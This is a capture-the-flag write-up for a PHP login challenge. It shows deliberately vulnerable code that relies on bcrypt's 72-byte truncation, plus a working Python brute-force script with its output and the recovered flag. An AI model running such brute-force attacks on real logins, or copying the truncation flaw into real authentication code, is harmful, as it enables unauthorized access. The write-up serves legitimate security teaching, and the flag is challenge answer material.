The challenge has a web application, the front page displaying a login screen:

The challenge also supplies PHP source code:

<?php

error_reporting(0);
ini_set('display_errors', 0);

session_start();

$usernameAdmin = 'admin';
$passwordAdmin = getenv('ADMIN_PASSWORD');

$entropy = 'additional-entropy-for-super-secure-passwords-you-will-never-guess';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    $hash = password_hash($usernameAdmin . $entropy . $passwordAdmin, PASSWORD_BCRYPT);
    
    if ($usernameAdmin === $username && 
        password_verify($username . $entropy . $password, $hash)) {
        $_SESSION['logged_in'] = true;
    }
}

?>
... // HTML CODE
<?php
if (isset($_SESSION['logged_in'])) {
?>

    <div class="welcome">Hello, Admin, here's your secret message:<br />
    <?php echo strval(getenv('flag')); ?> <br/><br/>Don't share it with anyone!</div>
<?php
} else {
?>
... // MORE HTML CODE
<?php } ?>
    
</body>
</html>

Looking at the source code, it reminds me of a vulnerability I read about earlier in the year: Okta Password Bypass

It worked due to bcrypt only using the first 72 characters for a hash, anything over is ignored!

Seeing as the hash is generated as the admin username (admin) and the ‘entropy’ (a really long string), then the password. Everything after the 72 characters can be ignored.

admin is 5 characters, entropy is 66, leaving us with 1 character to bruteforce to login!

A simple Python script can be used to achieve this:

import requests
import string

target_url = "http://localhost:8000/"

def exploit_bcrypt_limit():
    session = requests.Session()

    admin_username = "admin"
    entropy = "additional-entropy-for-super-secure-passwords-you-will-never-guess"

    passwords_to_try = []

    for char in string.printable:
        if char not in "\r\n\t\x0b\x0c":
            passwords_to_try.append(char)

    for password in passwords_to_try:
        print(f"Trying password: '{password}'")

        payload = {
            "username": admin_username,
            "password": password
        }

        try:
            response = session.post(target_url, data=payload)

            if "Hello, Admin" in response.text or "secret message" in response.text:
                print(f"****** Valid password prefix: '{password}'")
                return

        except Exception as e:
            print(f"[!] Error: {e}")
            continue

if __name__ == "__main__":
    try:
        exploit_bcrypt_limit()
    except KeyboardInterrupt:
        print("\n[!] Attack interrupted by user")
    except Exception as e:
        print(f"[!] Unexpected error: {e}")

$ python3 poc.py
Trying password: '0'
Trying password: '1'
Trying password: '2'
...
Trying password: '}'
Trying password: '~'
****** Valid password prefix: '~'

Logging in, we get the flag!

Flag: 1753c{bcrypt_d0esn7_1ik3_v3ry_10ng_p455w0rd5}